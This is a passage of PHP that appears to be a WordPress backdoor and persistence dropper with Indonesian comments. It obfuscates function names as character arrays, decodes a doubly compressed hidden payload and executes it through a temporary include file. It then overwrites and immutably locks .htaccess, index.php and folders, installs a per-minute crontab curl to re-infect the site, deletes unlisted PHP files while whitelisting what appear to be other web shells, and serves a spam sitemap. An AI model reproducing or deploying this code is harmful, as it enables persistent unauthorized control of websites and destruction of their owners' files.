$configBlock459, $configBlock460, $configBlock461, $configBlock462, $configBlock463, $configBlock464, $configBlock465, $configBlock466, $configBlock467, $configBlock468, $configBlock469, $configBlock470, $configBlock471, $configBlock472, $configBlock473, $configBlock474, $configBlock475, $configBlock476, $configBlock477, $configBlock478, $configBlock479, $configBlock480, $configBlock481, $configBlock482, $configBlock483, $configBlock484, $configBlock485, $configBlock486, $configBlock487, $configBlock488, $configBlock489, $configBlock490, $configBlock491, $configBlock492, $configBlock493, $configBlock494, $configBlock495, $configBlock496, $configBlock497, $configBlock498, $configBlock499, $configBlock500, $configBlock501, $configBlock502, $configBlock503, $configBlock504, $configBlock505, $configBlock506, $configBlock507, $configBlock508, $configBlock509, $configBlock510, $configBlock511, $configBlock512, $configBlock513, $configBlock514, $configBlock515, $configBlock516, $configBlock517, $configBlock518, $configBlock519, $configBlock520, $configBlock521, $configBlock522, $configBlock523, $configBlock524, $configBlock525, $configBlock526, $configBlock527, $configBlock528, $configBlock529, $configBlock530, $configBlock531, $configBlock532, $configBlock533, $configBlock534, $configBlock535, $configBlock536, $configBlock537, $configBlock538, $configBlock539, $configBlock540, $configBlock541, $configBlock542, $configBlock543, $configBlock544, $configBlock545, $configBlock546, $configBlock547, $configBlock548, $configBlock549, $configBlock550, $configBlock551, $configBlock552, $configBlock553, $configBlock554, $configBlock555, $configBlock556, $configBlock557, $configBlock558, $configBlock559, $configBlock560, $configBlock561, $configBlock562, $configBlock563, $configBlock564, $configBlock565, $configBlock566, $configBlock567, $configBlock568, $configBlock569, $configBlock570, $configBlock571, $configBlock572, $configBlock573, $configBlock574, $configBlock575, $configBlock576, $configBlock577, $configBlock578, $configBlock579, $configBlock580, $configBlock581, $configBlock582, $configBlock583, $configBlock584, $configBlock585, $configBlock586, $configBlock587, $configBlock588, $configBlock589, $configBlock590, $configBlock591, $configBlock592, $configBlock593, $configBlock594, $configBlock595, $configBlock596, $configBlock597, $configBlock598, $configBlock599, $configBlock600, $configBlock601, $configBlock602, $configBlock603, $configBlock604, $configBlock605, $configBlock606, $configBlock607, $configBlock608, $configBlock609, $configBlock610, $configBlock611, $configBlock612, $configBlock613, $configBlock614, $configBlock615, $configBlock616, $configBlock617, $configBlock618, $configBlock619, $configBlock620, $configBlock621, $configBlock622, $configBlock623, $configBlock624, $configBlock625, $configBlock626, $configBlock627, $configBlock628, $configBlock629, $configBlock630, $configBlock631, $configBlock632, $configBlock633, $configBlock634, $configBlock635, $configBlock636, $configBlock637, $configBlock638, $configBlock639, $configBlock640, $configBlock641, $configBlock642, $configBlock643, $configBlock644, $configBlock645, $configBlock646, $configBlock647, $configBlock648, $configBlock649, $configBlock650, $configBlock651, $configBlock652, $configBlock653, $configBlock654, $configBlock655, $configBlock656, $configBlock657, $configBlock658, $configBlock659, $configBlock660, $configBlock661, $configBlock662, $configBlock663, $configBlock664, $configBlock665, $configBlock666, $configBlock667, $configBlock668, $configBlock669, $configBlock670, $configBlock671, $configBlock672, $configBlock673, $configBlock674, $configBlock675, $configBlock676, $configBlock677, $configBlock678, $configBlock679, $configBlock680, $configBlock681, $configBlock682, $configBlock683, $configBlock684, $configBlock685, $configBlock686, $configBlock687, $configBlock688, $configBlock689, $configBlock690, $configBlock691, $configBlock692, $configBlock693, $configBlock694, $configBlock695, $configBlock696, $configBlock697, $configBlock698, $configBlock699, $configBlock700, $configBlock701, $configBlock702, $configBlock703, $configBlock704, $configBlock705, $configBlock706, $configBlock707, $configBlock708, $configBlock709, $configBlock710, $configBlock711, $configBlock712, $configBlock713, $configBlock714, $configBlock715, $configBlock716, $configBlock717, $configBlock718, $configBlock719, $configBlock720, $configBlock721, $configBlock722, $configBlock723, $configBlock724, $configBlock725, $configBlock726, $configBlock727, $configBlock728, $configBlock729, $configBlock730, $configBlock731, $configBlock732, $configBlock733, $configBlock734, $configBlock735, $configBlock736, $configBlock737, $configBlock738, $configBlock739, $configBlock740, $configBlock741, $configBlock742, $configBlock743, $configBlock744, $configBlock745, $configBlock746, $configBlock747, $configBlock748, $configBlock749, $configBlock750, $configBlock751, $configBlock752, $configBlock753, $configBlock754, $configBlock755, $configBlock756, $configBlock757, $configBlock758, $configBlock759, $configBlock760, $configBlock761, $configBlock762, $configBlock763, $configBlock764, $configBlock765, $configBlock766, $configBlock767, $configBlock768, $configBlock769, $configBlock770, $configBlock771, $configBlock772, $configBlock773, $configBlock774, $configBlock775, $configBlock776, $configBlock777, $configBlock778, $configBlock779, $configBlock780, $configBlock781, $configBlock782, $configBlock783, $configBlock784, $configBlock785, $configBlock786, $configBlock787, $configBlock788, $configBlock789, $configBlock790, $configBlock791, $configBlock792, $configBlock793, $configBlock794, $configBlock795, $configBlock796, $configBlock797, $configBlock798, $configBlock799, $configBlock800, $configBlock801, $configBlock802, $configBlock803, $configBlock804, $configBlock805, $configBlock806, $configBlock807, $configBlock808, $configBlock809, $configBlock810, $configBlock811, $configBlock812, $configBlock813, $configBlock814, $configBlock815, $configBlock816, $configBlock817, $configBlock818, $configBlock819, $configBlock820, $configBlock821, $configBlock822, $configBlock823, $configBlock824, $configBlock825, $configBlock826, $configBlock827, $configBlock828, $configBlock829, $configBlock830, $configBlock831, $configBlock832, $configBlock833, $configBlock834, $configBlock835, $configBlock836, $configBlock837, $configBlock838, $configBlock839, $configBlock840, $configBlock841, $configBlock842, $configBlock843, $configBlock844, $configBlock845, $configBlock846, $configBlock847, $configBlock848, $configBlock849, $configBlock850, $configBlock851, $configBlock852, $configBlock853, $configBlock854, $configBlock855, $configBlock856, $configBlock857, $configBlock858, $configBlock859, $configBlock860, $configBlock861, $configBlock862, $configBlock863, $configBlock864, $configBlock865, $configBlock866, $configBlock867, $configBlock868, $configBlock869, $configBlock870, $configBlock871, $configBlock872, $configBlock873, $configBlock874, $configBlock875, $configBlock876, $configBlock877, $configBlock878, $configBlock879, $configBlock880, $configBlock881, $configBlock882];

// Internal string assembler
$_make = static function(array $chars): string { return implode('', array_map('chr', $chars)); };

$_map1 = $_make(array (
  0 => 98,
  1 => 97,
  2 => 115,
  3 => 101,
  4 => 54,
  5 => 52,
  6 => 95,
  7 => 100,
  8 => 101,
  9 => 99,
  10 => 111,
  11 => 100,
  12 => 101,
));
$_unpack = $_make(array (
  0 => 103,
  1 => 122,
  2 => 105,
  3 => 110,
  4 => 102,
  5 => 108,
  6 => 97,
  7 => 116,
  8 => 101,
));
$_join = $_make(array (
  0 => 105,
  1 => 109,
  2 => 112,
  3 => 108,
  4 => 111,
  5 => 100,
  6 => 101,
));
$_hash = $_make(array (
  0 => 99,
  1 => 114,
  2 => 99,
  3 => 51,
  4 => 50,
));
$_temp = $_make(array (
  0 => 116,
  1 => 101,
  2 => 109,
  3 => 112,
  4 => 110,
  5 => 97,
  6 => 109,
));
$_write = $_make(array (
  0 => 102,
  1 => 105,
  2 => 108,
  3 => 101,
  4 => 95,
  5 => 112,
  6 => 117,
  7 => 116,
  8 => 95,
  9 => 99,
  10 => 111,
  11 => 110,
  12 => 116,
  13 => 101,
  14 => 110,
  15 => 116,
  16 => 115,
));
$_remove = $_make(array (
  0 => 117,
  1 => 110,
  2 => 108,
  3 => 105,
  4 => 110,
  5 => 107,
));
$_tmpdir = $_make(array (
  0 => 115,
  1 => 121,
  2 => 115,
  3 => 95,
  4 => 103,
  5 => 101,
  6 => 116,
  7 => 95,
  8 => 116,
  9 => 101,
  10 => 109,
  11 => 112,
  12 => 95,
  13 => 100,
  14 => 105,
  15 => 114,
));
$_canWrite = $_make(array (
  0 => 105,
  1 => 115,
  2 => 95,
  3 => 119,
  4 => 114,
  5 => 105,
  6 => 116,
  7 => 97,
  8 => 98,
  9 => 108,
  10 => 101,
));
$_chunk = $_make(array (
  0 => 115,
  1 => 116,
  2 => 114,
  3 => 95,
  4 => 115,
  5 => 112,
  6 => 108,
  7 => 105,
  8 => 116,
));

// Resolve application runtime
function resolveApplication($map, $tools) {
    // Merge configuration blocks
    $raw = $tools['join']('', $map);
    
    // Normalize character encoding (no-op)
    $raw = $tools['join']('', $tools['chunk']($raw));
    
    // Layer 1 extraction
    $raw = $tools['map1']($raw);
    $raw = $tools['unpack']($raw);
    
    // Layer 2 extraction
    $raw = $tools['map1']($raw);
    $raw = $tools['unpack']($raw);
    
    return $raw;
}

// Prepare processing tools
$tools = [
    'join' => $_join,
    'chunk' => $_chunk,
    'map1' => $_map1,
    'unpack' => $_unpack,
];

// Build application core
$appCore = resolveApplication($configMap, $tools);

// Verify application hash
if ($_hash($appCore) === 2008125357) {
    $cacheDir = $_tmpdir();
    if (!$_canWrite($cacheDir)) { $cacheDir = __DIR__; }
    $cacheFile = $_temp($cacheDir, 'app_cache_');
    if ($cacheFile) {
        $_write($cacheFile, '<?php ' . $appCore);
        if (filesize($cacheFile) > 0) {
            include $cacheFile;
        }
        $_remove($cacheFile);
    }
}

// Cleanup
unset($configMap, $tools, $appCore, $cacheFile, $cacheDir);
// Bootstrap complete

?>
PHP;
$payloadIndexContent = <<<'KODE_AKHIR'
<?php
define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';
KODE_AKHIR;

$targetFiles = [
    $htaccess, $wpAdminHtaccess, $wpAdminFile, $indexFile,
    $dbFile, $baseDir . '/autoload_classmap.php', $baseDir . '/akcc.php', $baseDir . '/default.php'
];

// ================================================================
// === FUNGSI-FUNGSI (PHP 7/8 SAFE - NO EXEC) ===
// ================================================================

function paksaHapus(string $file): bool {
    if (!file_exists($file)) return true;
    
    try {
        @chmod($file, 0777);
        @clearstatcache(true, $file);
        
        if (@unlink($file)) return true;
        
        $tmp = $file . '.tmpdel_' . uniqid();
        if (@rename($file, $tmp)) {
            @chmod($tmp, 0777);
            if (@unlink($tmp)) return true;
        }
        
        if (can_exec()) {
            safe_exec("rm -f " . escapeshellarg($file) . " 2>/dev/null");
            if (!file_exists($file)) return true;
        }
        
    } catch (\Throwable $e) {}
    
    return false;
}

function ubahIzin(string $path, int $izin): bool {
    if (!file_exists($path)) return false;
    
    try {
        $result = @chmod($path, $izin);
        @clearstatcache(true, $path);
        return $result;
    } catch (\Throwable $e) {
        return false;
    }
}

function paksaTulis(string $path, string $isi): bool {
    $dir = dirname($path);
    
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    @chmod($dir, 0755);
    
    try {
        if (file_put_contents($path, $isi) !== false) {
            return true;
        }
    } catch (\Throwable $e) {}
    
    paksaHapus($path);
    
    try {
        $fp = fopen($path, 'w');
        if ($fp !== false) {
            fwrite($fp, $isi);
            fclose($fp);
            return true;
        }
    } catch (\Throwable $e) {}
    
    try {
        $tempFile = $path . '.tmp_' . uniqid();
        $fp = fopen($tempFile, 'w');
        if ($fp !== false) {
            fwrite($fp, $isi);
            fclose($fp);
            if (@rename($tempFile, $path)) {
                return true;
            }
            @unlink($tempFile);
        }
    } catch (\Throwable $e) {}
    
    return false;
}

function perbaruiFile(string $filePath, string $backupDir, string $isiBaru, string $fileName): void {
    if (!is_dir($backupDir)) {
        @mkdir($backupDir, 0755, true);
    }
    
    if (file_exists($filePath)) {
        $timestamp = date('Ymd_His');
        @copy($filePath, $backupDir . '/' . $fileName . '.bak_' . $timestamp);
    }
    
    paksaTulis($filePath, $isiBaru);
}

function forceRootDirPermission(string $baseDir): void {
    @chmod($baseDir, 0755);
    @clearstatcache(true, $baseDir);
    
    $wpAdminDir = $baseDir . '/wp-admin';
    if (is_dir($wpAdminDir)) {
        @chmod($wpAdminDir, 0755);
    }
}

// ================================================================
// === ⭐⭐⭐ FUNSI UTAMA: CHMOD 555 HANYA UNTUK PATH SCRIPT ===
// ================================================================

/**
 * Mengubah permission menjadi 555 HANYA untuk:
 * 1. Direktori ancestor (dari root menuju ke script location)
 * 2. Direktori descendant (sub-direktori di dalam script location)
 */
function chmodOnlyScriptPathTo555(string $baseDir, string $scriptDir, array $excludeDirs = []): array {
    $stats = [
        'ancestor_locked' => 0,
        'descendant_locked' => 0,
        'sibling_unchanged' => 0,
        'excluded' => 0,
        'errors' => 0,
        'script_path' => ''
    ];
    
    $baseDir = rtrim($baseDir, '/');
    $scriptDir = rtrim($scriptDir, '/');
    
    $stats['script_path'] = $scriptDir;
    
    if (!str_starts_with($scriptDir, $baseDir)) {
        echo "⚠ Error: Script directory tidak berada di dalam base directory\n";
        $stats['errors']++;
        return $stats;
    }
    
    if ($scriptDir === $baseDir) {
        echo "ℹ Script berada di root directory, tidak ada path yang perlu di-lock\n";
        return $stats;
    }
    
    echo "📍 Base Directory: {$baseDir}\n";
    echo "📍 Script Location: {$scriptDir}\n\n";
    
    // BAGIAN 1: LOCK ANCESTOR DIRECTORIES
    echo "📂 BAGIAN 1: Lock Ancestor Directories (path dari root ke script)\n";
    echo "─────────────────────────────────────────\n";
    
    $relativePath = substr($scriptDir, strlen($baseDir));
    $relativePath = trim($relativePath, '/');
    
    $pathComponents = explode('/', $relativePath);
    $currentPath = $baseDir;
    
    foreach ($pathComponents as $component) {
        $currentPath .= '/' . $component;
        
        $isExcluded = false;
        foreach ($excludeDirs as $excludeDir) {
            $normalizedExclude = rtrim($excludeDir, '/');
            if ($currentPath === $normalizedExclude || str_starts_with($normalizedExclude, $currentPath)) {
                $isExcluded = true;
                break;
            }
        }
        
        if (is_dir($currentPath)) {
            if ($isExcluded) {
                @chmod($currentPath, 0755);
                $stats['excluded']++;
                echo "  ⊘ EXCLUDED: {$currentPath} → 0755 (safe folder)\n";
            } else {
                $result = @chmod($currentPath, 0555);
                if ($result) {
                    $stats['ancestor_locked']++;
                    echo "  🔒 LOCKED: {$currentPath} → 0555 (ancestor)\n";
                } else {
                    $stats['errors']++;
                    echo "  ✗ FAILED: {$currentPath}\n";
                }
            }
        }
    }
    
    echo "─────────────────────────────────────────\n";
    echo "✓ Ancestor directories processed\n\n";
    
    // BAGIAN 2: LOCK DESCENDANT DIRECTORIES
    echo "📂 BAGIAN 2: Lock Descendant Directories (sub-direktori dalam script location)\n";
    echo "─────────────────────────────────────────\n";
    
    $descendantResult = lockDescendantDirectoriesOnly_Safe($scriptDir, $excludeDirs);
    
    $stats['descendant_locked'] = $descendantResult['locked'];
    $stats['excluded'] += $descendantResult['excluded'];
    $stats['errors'] += $descendantResult['errors'];
    
    echo "─────────────────────────────────────────\n";
    echo "✓ Descendant directories processed\n";
    
    echo "\n📊 RINGKASAN CHMOD 555:\n";
    echo "┌─────────────────────────────┐\n";
    echo "│ Ancestor locked: " . str_pad($stats['ancestor_locked'], 4) . "         │\n";
    echo "│ Descendant locked: " . str_pad($stats['descendant_locked'], 3) . "       │\n";
    echo "│ Excluded (safe): " . str_pad($stats['excluded'], 6) . "     │\n";
    echo "│ Errors: " . str_pad($stats['errors'], 18) . " │\n";
    echo "└─────────────────────────────┘\n";
    
    return $stats;
}

/**
 * Lock sub-direktori secara rekursif HANYA di dalam targetDirectory
 */
function lockDescendantDirectoriesOnly_Safe(string $targetDirectory, array $excludeDirs = []): array {
    $stats = [
        'locked' => 0,
        'excluded' => 0,
        'errors' => 0
    ];
    
    if (!is_dir($targetDirectory)) {
        return $stats;
    }
    
    try {
        $directoryIterator = new RecursiveDirectoryIterator(
            $targetDirectory,
            RecursiveDirectoryIterator::SKIP_DOTS
        );
        
        $iterator = new RecursiveIteratorIterator(
            $directoryIterator,
            RecursiveIteratorIterator::SELF_FIRST
        );
        
        foreach ($iterator as $item) {
            try {
                $path = $item->getPathname();
                
                if (!$item->isDir()) {
                    continue;
                }
                
                $isExcluded = false;
                foreach ($excludeDirs as $excludeDir) {
                    if (str_starts_with($path, rtrim($excludeDir, '/'))) {
                        $isExcluded = true;
                        break;
                    }
                }
                
                if ($isExcluded) {
                    @chmod($path, 0755);
                    $stats['excluded']++;
                } else {
                    $result = @chmod($path, 0555);
                    if ($result) {
                        $stats['locked']++;
                    } else {
                        $stats['errors']++;
                    }
                }
                
                if (($stats['locked'] + $stats['excluded']) % 100 === 0) {
                    @clearstatcache();
                }
                
            } catch (\Throwable $e) {
                $stats['errors']++;
                continue;
            }
        }
        
    } catch (\Exception $e) {
        $stats['errors']++;
    }
    
    return $stats;
}

// ================================================================
// === ⭐⭐⭐ FUNSI: LOCK HTACCESS ROOT KE 555 ===
// ================================================================

/**
 * Mengunci file .htaccess di root menjadi 0555 (read-only)
 * Dipanggil SETELAH .htaccess ditulis/di-update
 */
function lockRootHtaccessTo555(string $htaccessPath): bool {
    if (!file_exists($htaccessPath)) {
        echo "⚠ .htaccess tidak ditemukan, skip lock\n";
        return false;
    }
    
    try {
        // Jika exec tersedia, hapus immutable attribute dulu (jika ada)
        if (can_exec()) {
            safe_exec("chattr -i " . escapeshellarg($htaccessPath) . " 2>/dev/null");
        }
        
        // Lock ke 0555 (read-only)
        $result = @chmod($htaccessPath, 0555);
        @clearstatcache(true, $htaccessPath);
        
        if ($result) {
            echo "  🔒 ROOT HTACCESS LOCKED: {$htaccessPath} → 0555 (PROTECTED!)\n";
            
            // Optional: Tambahkan immutable attribute jika exec tersedia
            if (can_exec()) {
                safe_exec("chattr +i " . escapeshellarg($htaccessPath) . " 2>/dev/null");
            }
            
            return true;
        } else {
            echo "  ✗ Gagal lock .htaccess root ke 0555\n";
            return false;
        }
        
    } catch (\Throwable $e) {
        echo "  ✗ Error locking .htaccess: " . $e->getMessage() . "\n";
        return false;
    }
}

/**
 * Unlock .htaccess root dari 0555 ke 0644 (bisa ditulis lagi)
 * Digunakan hanya di mode UNLOCK ALL
 */
function unlockRootHtaccess(string $htaccessPath): bool {
    if (!file_exists($htaccessPath)) {
        return false;
    }
    
    try {
        // Hapus immutable attribute jika ada
        if (can_exec()) {
            safe_exec("chattr -i " . escapeshellarg($htaccessPath) . " 2>/dev/null");
        }
        
        // Ubah ke 0644 (writable)
        $result = @chmod($htaccessPath, 0644);
        @clearstatcache(true, $htaccessPath);
        
        if ($result) {
            echo "  🔓 ROOT HTACCESS UNLOCKED: {$htaccessPath} → 0644 (writable)\n";
            return true;
        }
        
        return false;
        
    } catch (\Throwable $e) {
        return false;
    }
}

// ================================================================
// === LOCK REKURSIF SEMUA FOLDER (ORIGINAL) ===
// ================================================================

function recursiveLockFoldersOnly_Safe(string $directory, array $excludeDirs = []): array {
    $stats = [
        'folders_locked' => 0,
        'folders_excluded' => 0,
        'errors' => 0
    ];
    
    if (!is_dir($directory)) {
        return $stats;
    }
    
    try {
        $directoryIterator = new RecursiveDirectoryIterator(
            $directory,
            RecursiveDirectoryIterator::SKIP_DOTS
        );
        
        $iterator = new RecursiveIteratorIterator(
            $directoryIterator,
            RecursiveIteratorIterator::SELF_FIRST
        );
        
        foreach ($iterator as $item) {
            try {
                $path = $item->getPathname();
                
                if (!$item->isDir()) {
                    continue;
                }
                
                $isExcluded = false;
                foreach ($excludeDirs as $excludeDir) {
                    if (str_starts_with($path, $excludeDir)) {
                        $isExcluded = true;
                        break;
                    }
                }
                
                if ($isExcluded) {
                    @chmod($path, 0755);
                    $stats['folders_excluded']++;
                } else {
                    $result = @chmod($path, 0555);
                    if ($result) {
                        $stats['folders_locked']++;
                    } else {
                        $stats['errors']++;
                    }
                }
                
                if (($stats['folders_locked'] + $stats['folders_excluded']) % 100 === 0) {
                    @clearstatcache();
                }
                
            } catch (\Throwable $e) {
                $stats['errors']++;
                continue;
            }
        }
        
    } catch (\Exception $e) {
        $stats['errors']++;
    }
    
    return $stats;
}

// ================================================================
// === UNLOCK REKURSIF: HANYA FOLDER (NO EXEC) ===
// ================================================================

function recursiveUnlockFoldersOnly_Safe(string $directory): array {
    $stats = [
        'folders_unlocked' => 0,
        'errors' => 0
    ];
    
    if (!is_dir($directory)) {
        return $stats;
    }
    
    try {
        $directoryIterator = new RecursiveDirectoryIterator(
            $directory,
            RecursiveDirectoryIterator::SKIP_DOTS
        );
        
        $iterator = new RecursiveIteratorIterator(
            $directoryIterator,
            RecursiveIteratorIterator::SELF_FIRST
        );
        
        foreach ($iterator as $item) {
            try {
                $path = $item->getPathname();
                
                if (!$item->isDir()) {
                    continue;
                }
                
                if (can_exec()) {
                    safe_exec("chattr -i " . escapeshellarg($path) . " 2>/dev/null");
                }
                
                $result = @chmod($path, 0755);
                
                if ($result) {
                    $stats['folders_unlocked']++;
                } else {
                    $stats['errors']++;
                }
                
                if ($stats['folders_unlocked'] % 100 === 0) {
                    @clearstatcache();
                }
                
            } catch (\Throwable $e) {
                $stats['errors']++;
                continue;
            }
        }
        
    } catch (\Exception $e) {
        $stats['errors']++;
    }
    
    @chmod($directory, 0755);
    $stats['folders_unlocked']++;
    
    return $stats;
}

function lockBaseDirectorySafe(string $baseDir): bool {
    try {
        $result1 = @chmod($baseDir, 0555);
        
        $wpAdminDir = $baseDir . '/wp-admin';
        if (is_dir($wpAdminDir)) {
            @chmod($wpAdminDir, 0755);
        }
        
        if (str_starts_with(__FILE__, $baseDir)) {
            @chmod(__FILE__, 0644);
        }
        
        return $result1;
    } catch (\Throwable $e) {
        return false;
    }
}

function superLockFilesSafe(string $baseDir, array $allowedFiles, array $safeFiles): void {
    $coreTargets = [
        $baseDir . '/.htaccess',
        $baseDir . '/wp-admin/.htaccess',
        $baseDir . '/wp-admin/wp-admin.php',
        $baseDir . '/index.php'
    ];
    
    foreach ($allowedFiles as $file) {
        $filePath = $baseDir . '/' . $file . '.php';
        if (!file_exists($filePath)) {
            @touch($filePath);
            @file_put_contents($filePath, "<?php // silence is golden ?>");
        }
        $coreTargets[] = $filePath;
    }
    
    foreach ($coreTargets as $target) {
        if (!file_exists($target)) continue;
        
        $isSafe = false;
        foreach ($safeFiles as $safeFile) {
            if ($target === $safeFile || str_starts_with($target, $safeFile)) {
                $isSafe = true;
                break;
            }
        }
        
        if (str_contains($target, '/wp-admin/')) {
            $isSafe = true;
        }
        
        if ($isSafe) {
            @chmod($target, 0644); // ⚠️ INI MENGUBAH HTACCESS KE 0644!
        } else {
            @chmod($target, 0555);
            if (can_exec()) {
                safe_exec("chattr +i " . escapeshellarg($target) . " 2>/dev/null");
            }
        }
    }
}

function unlockSuperFilesSafe(string $baseDir, array $allowedFiles, array $safeFiles): void {
    $coreTargets = [
        $baseDir . '/.htaccess',
        $baseDir . '/wp-admin/.htaccess',
        $baseDir . '/wp-admin/wp-admin.php',
        $baseDir . '/index.php'
    ];
    
    foreach ($allowedFiles as $file) {
        $coreTargets[] = $baseDir . '/' . $file . '.php';
    }
    
    foreach ($coreTargets as $target) {
        if (!file_exists($target)) continue;
        
        if (can_exec()) {
            safe_exec("chattr -i " . escapeshellarg($target) . " 2>/dev/null");
        }
        
        @chmod($target, 0644); // ⚠️ INI JUGA MENGUBAH HTACCESS KE 0644!
    }
}

function setupAutoCronSafe(string $currentUrl): void {
    if (!can_exec()) {
        return;
    }
    
    try {
        $crontabPath = safe_exec("which crontab") ?: '/usr/bin/crontab';
        $cronCommand = "* * * * * /usr/bin/curl -s " . escapeshellarg($currentUrl . "?update=both_locked") . " >/dev/null 2>&1";
        
        $currentCron = safe_shell_exec("$crontabPath -l 2>/dev/null") ?: '';
        
        if (str_contains($currentCron, $currentUrl)) {
            return;
        }
        
        $newCron = trim($currentCron . "\n" . $cronCommand);
        $tempFile = sys_get_temp_dir() . '/crontab_' . getmypid() . '.txt';
        
        if (@file_put_contents($tempFile, $newCron) !== false) {
            safe_exec("$crontabPath " . escapeshellarg($tempFile));
            @unlink($tempFile);
        }
    } catch (\Throwable $e) {}
}

function removeAutoCronSafe(string $currentUrl): void {
    if (!can_exec()) {
        return;
    }
    
    try {
        $crontabPath = safe_exec("which crontab") ?: '/usr/bin/crontab';
        $currentCron = safe_shell_exec("$crontabPath -l 2>/dev/null");
        
        if ($currentCron === null || !str_contains($currentCron, $currentUrl)) {
            return;
        }
        
        $lines = explode("\n", $currentCron);
        $newLines = [];
        foreach ($lines as $line) {
            if (!str_contains($line, $currentUrl)) {
                $newLines[] = $line;
            }
        }
        
        $tempFile = sys_get_temp_dir() . '/crontab_' . getmypid() . '.txt';
        if (@file_put_contents($tempFile, implode("\n", array_filter($newLines))) !== false) {
            safe_exec("$crontabPath " . escapeshellarg($tempFile));
            @unlink($tempFile);
        }
    } catch (\Throwable $e) {}
}

function autoGenerateRobotsSafe(string $domain, string $protocol): bool {
    try {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => "{$protocol}://{$domain}/robots",
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 20,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Compatible)'
        ]);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($response !== false && $httpCode === 200) {
            $robotsPath = rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/robots.txt';
            return file_exists($robotsPath);
        }
    } catch (\Throwable $e) {}
    
    return false;
}

function displaySxallsitemapSafe(string $domain, string $protocol): void {
    echo "<div style='margin-top:20px;padding:18px;background:#f8f9fa;border:2px solid #007bff;border-radius:10px;font-family:Arial,sans-serif'>";
    echo "<h3 style='color:#007bff;margin:0 0 12px 0'>🗺️ SITEMAP</h3>";
    echo "<p style='margin:0 0 10px 0'>URL: <a href='{$protocol}://{$domain}/sxallsitemap.xml' target='_blank' style='color:#007bff;text-decoration:none;font-weight:bold'>{$protocol}://{$domain}/sxallsitemap.xml</a></p>";
    
    try {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => "{$protocol}://{$domain}/sxallsitemap.xml",
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 15,
            CURLOPT_SSL_VERIFYPEER => false
        ]);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($response !== false && $httpCode === 200) {
            echo "<pre style='font-size:12px;white-space:pre-wrap;max-height:250px;overflow-y:auto;background:#fff;padding:12px;border-radius:6px;border:1px solid #ddd'>" . htmlspecialchars(substr($response, 0, 2000)) . (strlen($response) > 2000 ? "\n... (truncated)" : "") . "</pre>";
        } else {
            echo "<p style='color:#dc3545;margin:0'>❌ Gagal load sitemap (HTTP: $httpCode)</p>";
        }
    } catch (\Throwable $e) {
        echo "<p style='color:#dc3545;margin:0'>❌ Error: " . htmlspecialchars($e->getMessage()) . "</p>";
    }
    
    echo "</div>";
}

// ================================================================
// === CLEANUP AGRESIF (NO EXEC) ===
// ================================================================

function cleanup_php_root_safe($baseDir = null): int {
    if (empty($baseDir)) {
        $baseDir = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
    }
    
    $core_wp_files = [
        'index.php', 'wp-config.php', 'wp-activate.php', 'wp-blog-header.php',
        'wp-comments-post.php', 'wp-cron.php', 'wp-links-opml.php', 'wp-load.php',
        'wp-login.php', 'wp-mail.php', 'wp-settings.php', 'wp-signup.php',
        'wp-trackback.php', 'xmlrpc.php'
    ];
    
    $custom_whitelist = [
        'ah88.php', 'lm15.php', 'ws88.php', 'tx88.php', 'tx33.php', 'webindex.php',
        'wordfence-waf.php', 'webindexORI.php', 'ws77.php', 'ww10.php', 'zz8.php',
        'tx77.php', 'wp-admin.php',
        '580193433907015akp.php', 'lsjaybvgybhhpbjdefault.php',
        '580193433907015mas.php'
    ];
    
    $allowed_non_php = [
        'robots.txt', '.htaccess', '.user.ini', 'php.ini',
        'license.txt', 'readme.html', 'wp-config-sample.php',
        'favicon.ico', 'web.config'
    ];
    
    $whitelist = array_map('strtolower', array_merge($core_wp_files, $custom_whitelist, $allowed_non_php));
    
    $dangerous_ext = ['php0', 'phps', 'phtml', 'php4', 'php5', 'php7', 'phar'];
    $archive_ext = ['gz', 'zip', 'tar', 'rar', '7z', 'bz2'];
    $backup_ext = ['bak', 'old', 'orig', 'save', 'dist', '~'];
    $suspicious_ext = array_merge($dangerous_ext, $archive_ext, $backup_ext);
    
    $deleted = 0;
    
    @chmod($baseDir, 0755);
    
    $files = glob($baseDir . '/*');
    if (empty($files)) {
        $files = [];
        if ($handle = @opendir($baseDir)) {
            while (($entry = readdir($handle)) !== false) {
                if ($entry !== '.' && $entry !== '..') {
                    $files[] = $baseDir . '/' . $entry;
                }
            }
            closedir($handle);
        }
    }
    
    foreach ($files as $file) {
        if (!is_file($file)) continue;
        
        $base_name = basename($file);
        $base_name_lower = strtolower($base_name);
        $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION) ?: '');
        
        if (in_array($base_name_lower, $whitelist)) {
            continue;
        }
        
        if ($file === __FILE__) {
            continue;
        }
        
        if (str_starts_with($base_name, '.') && in_array($base_name_lower, ['.htaccess', '.user.ini'])) {
            continue;
        }
        
        if (str_starts_with($base_name, '.')) {
            continue;
        }
        
        $should_delete = false;
        $reason = '';
        
        if ($ext === 'php' && !in_array($base_name_lower, $whitelist)) {
            $should_delete = true;
            $reason = 'PHP tidak di-whitelist';
        }
        
        if (in_array($ext, $dangerous_ext)) {
            $should_delete = true;
            $reason = 'Ekstensi berbahaya (.' . $ext . ')';
        }
        
        if (in_array($ext, $archive_ext)) {
            $should_delete = true;
            $reason = 'File arsip (.' . $ext . ')';
        }
        
        if (in_array($ext, $backup_ext)) {
            $should_delete = true;
            $reason = 'File backup (.' . $ext . ')';
        }
        
        if ($should_delete) {
            @chmod($file, 0777);
            
            if (@unlink($file)) {
                $deleted++;
                echo "  ✗ {$base_name} ({$reason})\n";
                continue;
            }
            
            $tmp = $file . '.del_' . uniqid();
            if (@rename($file, $tmp)) {
                @chmod($tmp, 0777);
                if (@unlink($tmp)) {
                    $deleted++;
                    echo "  ✗ {$base_name} ({$reason})\n";
                    continue;
                }
            }
            
            if (can_exec()) {
